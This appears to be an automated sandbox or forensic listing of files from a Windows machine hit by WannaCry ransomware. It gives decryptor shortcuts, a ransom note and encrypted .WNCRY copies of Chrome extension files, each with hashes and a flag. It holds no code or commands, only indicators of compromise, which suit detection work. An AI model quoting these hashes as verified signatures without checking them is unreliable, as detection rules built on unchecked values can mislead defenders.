C:\Users\Public\Videos\Sample Videos\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.WNCRY (copy)	Type: MD5: 44E91FE47901441A1E151720C8167B1B SHA: C139D74F95E44895E7A025E24B8953249C1C5FB8 SHA-256: D5057019A1233F9CD166E515195BAF0F0D0DD60B22FDCF38CF960E00CFF729CC SHA-512: D6AE2C9CD355C299B8AA134FE820A84CD547495D2A5D1B936011D97B5534A470664580B4E8409B82F60F7C0F27CBEA53059F4F2728FC97C58FB8A6D2926BE5F3	false
C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\Users\luketaylor\AppData\Local\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\icon_128.png.WNCRY (copy)	Type: MD5: DD95E358A8BFFB4A0D4F345DA077EE44 SHA: 148297650CC43A7E2BA2CC1BC5FA1C2344C7A420 SHA-256: A99B9C96CF1E7BEAA91C7CCA8D3F519D4A80C073814C53F0341C0496D366D03B SHA-512: 60C7921EE4890B14488621F4379F164C23FB824603B166C002AD910A162040D62C3C3CEB5A452253224BF608E289D101C6456C8BC5CE5EAD915A6A7C573EEE2B	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\icon_128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\icon_16.png.WNCRY (copy)	Type: MD5: 6CA8101530F0826319FA530ABF8069A6 SHA: 57DADA84565111FCCD719E2DA31ADE4C0B3495AA SHA-256: 8726CD4C45C7B5243958A62F94EC9D03CA9192ADA0247EC0F5EDC7EBA8289B60 SHA-512: B74D2C6C8E59B01325D934AA6AACBCBBC7C62799325EBABF51E5A366AFC84C3F985D8956365E810839F37D7EF8EEFBB11EA4409AC36CBA0292E0F207DC9DA5CC	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\icon_16.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\main.js.WNCRY (copy)	Type: MD5: 682CA4CCBE7588FB885C9AFB22707832 SHA: 494D1D59FC3EE9C52083311A73EA85E7917B16EE SHA-256: A42EC52F024C00BFCD37D61EF45A40A5A1E044CF0D7E3EE30CAEFD72D39B40A5 SHA-512: E5F241E3A40DCE373920BDA3B72AAC8FD2B9476ECB0FB1CD6C208E61ECCAEB38366E8ECA2937C38C074827F8F6019DF9A7DFDD1E0ACF6E1462853F319543967B	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\main.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\128.png.WNCRY (copy)	Type: MD5: AB30FFBD5C279A05188A259DA0213FB5 SHA: EEA2B871A51CBFD29349ACCC4EEC55E01FF9BA2C SHA-256: DDB208E224C156138E05EF3983E4720C8E562E74E8B1227B0BB812BE802D4810 SHA-512: BA4BA87119A85CD330B4FFE6F4D4BD406C65E33DB30F254031B0F668686FA2578EE5FFB783E3BFBBE9DC7A1B56FA74C5CB50BBEB2ADEA8A337C285D289C8EFF7	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.WNCRY (copy)	Type: MD5: 7D8CF600CF0737DFC09C3F346DE98C6D SHA: FC2D3A524D46A26DE6C569AE53CBDFA937C06C6D SHA-256: 21392880FA7720DF1C06CF1355978F6D39A07FFBB653D91C0A54DFF141309D35 SHA-512: 20A5D9C391F8CFC3017DF435254D38D43DA31CB770D21C8491A6F32966632444B9763B1D6A56897860B44C63DA7B06FD89B0BDC1B959C4CCBE15A154A4BCD0BC	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\128.png.WNCRY (copy)	Type: MD5: 79915232B44D291826103793F9B9FD0E SHA: 10B78D2A1FA61B988037990DAAECA19CF5F61110 SHA-256: 980CAD2E29025B71FCDA01625968E4D322D96EC04B9ABF0DD132FB604ADAF030 SHA-512: C20EC081B3FCF8111A76E736ADAE65DAC38348620E6029A87706D5629842A8B06E627E3597734B6CF5630E360B065BE07ADA8267120176F55C700272E0192CA1	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\16.png.WNCRY (copy)	Type: MD5: FCCD28406E2133F5A41C7A18A90AF35E SHA: D10936D1CF5DE33763A61975727A8834585B4DA1 SHA-256: DEFBCA4B2B5DB324089BD953366712BCD3ABD3E9629A2C4915BBB94E86ECE55A SHA-512: F8689F2559623B3FA389BD1074518D17763B4EE464059C036C83A467F50FF0E7C82CAC2F834B39C90A4FCB57AFE41CD31DF950C97C1AA06D041D399314D03D37	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\16.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\32.png.WNCRY (copy)	Type: MD5: 7BB1B05DBA8B58841433A8F3C85A747B SHA: 3117C271A98E63F15340798E1EEF7F2E396FB9A2 SHA-256: A72F99C7B6F7AD0E4737CC8A8EBB7BA7A63DA293F14DB52418C18F3E71E9793F SHA-512: FE24F6F371E6A70039DA83E82243DE3BEFE28ECFF4DEC1A36C3DDB716FCBF1085E0FA76358111C829405931213AD893FCCA60FC3AB4A3CE13123BC592813E01A	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\32.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\48.png.WNCRY (copy)	Type: MD5: 004AFA3A2291D33F4DA026AFECB6DA09 SHA: 793E69353B5D66514BA598F0F07FE56BD4DFAF07 SHA-256: 748CC11E868852E5601CCEA218A0181C40830556DE7DB17148206D57969F2AFE SHA-512: D065130789EEE5F8FEAA8DF1DB822261BABD41605E14A76A98B3907EF0433103B71C6F85A48149DFF0E5A124554C2EA67120CC5536624B29A366CCB817F6C1F3	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\48.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\128.png.WNCRY (copy)	Type: MD5: 47E8F4CD01936C3ECB08E627E6AA1985 SHA: A93B5163B6EDD7D15840DEA3D8CF1BEB5391791F SHA-256: 8327FC96EF258543EDBD7B8E8F1F8891BF67BCD76462925579B95C4B76FABEED SHA-512: 9BE949DE1F699123C5751C1A7E2E93D89727A4491B0CC895C7FFD83BA25034AAE2B86034CCFF5D12E12B462C4A5BEC0C65816015E9D4061C3BFE8993220BD881	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\contentscript_bin_prod.js.WNCRY (copy)	Type: MD5: 353B9D0E52ABE9C35FD22EF66FF6DEEA SHA: D8430C5E1EE2E9E1C4497196A93CAE0519B7784C SHA-256: 6E4E0E335E893D2F80D3EBC87D623B639F511C978D10492DC34EF6D624285B82 SHA-512: 596C95259D56A0832BDBF801D31775F284156F297A42A69D10DE485C0C7E46E809EB35C69C71286923D1C52BFC26EA66EC7A378BAB022EDEC4B3049BA178D214	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\contentscript_bin_prod.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\eventpage_bin_prod.js.WNCRY (copy)	Type: MD5: F1962657602BEE11469588870850486C SHA: 7EAB7F5635257FF6E4A4CB2259D879FD69808403 SHA-256: 0FD9C6E4F31E338B0A6F2A78362A6D82A031E41D1E537E7DEE80483CE524FC3A SHA-512: F2BEBEA5621D87E4ABFF2C42937CDDE4E4E716EEDCE29899A17F129DE968040CE6039060ED02119049836BF965706FAE3E9BBB19C5E83D3D2CC494D82455FC27	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\eventpage_bin_prod.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\page_embed_script.js.WNCRY (copy)	Type: MD5: AFC51891EE81F9929D436155CE2A8503 SHA: AD3163E7DF2E77DA87E7B69448593921ACCE3604 SHA-256: 0D56AD47C9476ED5823D2B9A9E5584F04495E3525ABF50856E4B6578442D9795 SHA-512: 4973F38AE8CB12E48C796EA8E1D21B8123B746ABB95F22541B8B42AE57F2D9B4FDA9E85D2EC918F9C84D811314989EA5928CB0AA62E0974046E4DF03071E6A90	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\page_embed_script.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\craw_background.js.WNCRY (copy)	Type: MD5: 616FD7D28EF02880701D8BEE85FD9405 SHA: 7EC60BD1D4D923F0AA10759D0D7C08A27CB524E2 SHA-256: 186C5F1F7F41FABAAC2AD03A8453ED84907E8E3AFEAC5AC937890D1DDD3AD19A SHA-512: B351D91B9911ED1327C98E4DC82FB640430FF5A8E8E8902AB750E5D31654D50D98B0EC31C7337935DB2C05F329508F286A9571822F0882E005446E97143371A9	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\craw_background.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\craw_window.js.WNCRY (copy)	Type: MD5: 51CA1AD9A484E67050B83D8EA7B0384C SHA: 97EA0302D77000BE7AC9FEE18C0E45DA4B9D9FAB SHA-256: 609051E8A31F6FE7A39F8B85020004C2F8D3AB687527EF9FF964E8D4756F9BC1 SHA-512: 51A762AAA13938343985618A87843C6161E563E313DF9004D0FDB203743AD026F7D08C357DA42A45922D7CD3C829ADCA2C469B242B574463070F22BF159D687F	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\craw_window.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\flapper.gif.WNCRY (copy)	Type: MD5: 699BBE454FCD35D92117CD45F5F516B9 SHA: E6C336AB230F898DD334DA801417386F2B754062 SHA-256: 0FF2B4682D9BB37CDBAE2B3CC1F341017DE2CBC54FE32D326370BAAFFE4F3F18 SHA-512: DA4AD7C5E5CA6A087E586AF04196244DF70E7BD998F51E1B03C805D9B0E077695B2A196E7269C365871060AEBB2A6F6B13D203C7E701A2CA91E75DF2AF4CB3C7	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\flapper.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\icon_128.png.WNCRY (copy)	Type: MD5: 94565D661EA8D1057B3973FAE9F141E7 SHA: 3F17BAC6D74058EF69C13C326CC0FB7150C73899 SHA-256: CDDA0146ADFEAA49D35F119D82F33F723D66B297BEA1A0E7F016F912102F6E40 SHA-512: C565E404FF3EA704A70A188E25AD10A0D5619EAA72B6B1B517BE0EFE00A394A17DA46E592CA11E324D2914A9BE6F97680BDFF5B62D6C2DFB9E0A9FCDD718EF77	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\icon_128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\icon_16.png.WNCRY (copy)	Type: MD5: FEEBFB2CF40619859F61674DEA131508 SHA: 98EC57C21CA4E45DA8ED49F576790A1C97A8971C SHA-256: F9869FEBD0C79EAB34EA5458E83B4DD7736D240E8DB0AC66FF0D1FC94BAE012B SHA-512: 158C39DCF2D008EBBFA1BEF94AD28297FD3B2A2A3336C429785CCEE579599AC9AF640B5AC3BC7F2EB19486FCE5EF37FCEC1A365C3CCDCE1AC2397F8A110F10B1	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\icon_16.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button.png.WNCRY (copy)	Type: MD5: 24FA7F305A1048A8CA81AA762402EACD SHA: 3848FEA6E4CC003296EC06645FA9F5B53907201F SHA-256: B322530D2F39D652DFEE44CA627D2A213A7F09DB83C773AE3BAC942C450B3FC8 SHA-512: C6091EEBA9AE5DE293A068FCF544BE1E638E4688D1C083E0D1A25D8CB278BBABC1F4BF6D8B69F83D28F72BC462D95F3C8686812FDFB4194727AEC738E49292DE	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_close.png.WNCRY (copy)	Type: MD5: 0F681EB4D0E6A997E98F2FABB7642ABC SHA: 9AD5B51E6F1F9C64AA661FE32FE2B374FCE9F38E SHA-256: F6DB8A565E3890BA9487D59D2FC25FC5CEC7C19D95076771E0D4016DB631C079 SHA-512: 297A1771D2F5799AED353B6282B587D6CDBC094EBDBC6912DC002A8B09DECA6D5E90D8BBF34816FB0B6AB99C3F77E475255B8F401277581D5C0C8D8F8526708B	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_close.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_hover.png.WNCRY (copy)	Type: MD5: 82267DE2DB76335EBE0CEC1E122E339B SHA: 1D813AB209BAD1FB9D46D97B553C4FA18BF9179F SHA-256: 1C185EDE4D4705F1693C44C324339BA210256C58CCDE0228850A38FF6DE5BEE0 SHA-512: 7947F05D8F4DB78C869C394BE60CC5E2A1491E255F37DB8A2F212E050ADCA3F1EFD6717CE929AD8B62ED4F43FAE7A497F4EF1BFA51EE2C18C3E609A96C507572	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_hover.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_maximize.png.WNCRY (copy)	Type: MD5: D1CE8A812B67D411B83CD2110E1BC7BC SHA: 1FBCF17A3C0650237080774FAF8072723EB72380 SHA-256: 7921B0EEC950344D5DEDA5B0705C8ED4C5DA8A90F27C18EED6BF02F085554093 SHA-512: 7D0A3CFAEBAE88A5F230FA723DC11315D3FBA337ACED66156448FA134B045F0DD59F3D4CED47BD345B1AB283D130F09DA207353A678779D26CDD3B748982168F	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_maximize.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_pressed.png.WNCRY (copy)	Type: MD5: B6567AABABA3177EDB33146FBDAB049F SHA: 523026D1D2753DE8663A24E87D28FC440D0735D8 SHA-256: 28D9070D4DA56B1185527326A33207F9FEDC0DD8A71A37482E01BF70D597D02E SHA-512: B0B283915236FC7CCC733CBA7F5EE9A57CE061EB2673A1E5F2CF0CD86CE0CE29C011B71930F672DEACE6BAA422C2C22D2F1287C024EA7C6B81E0F00D596FDDA6	false
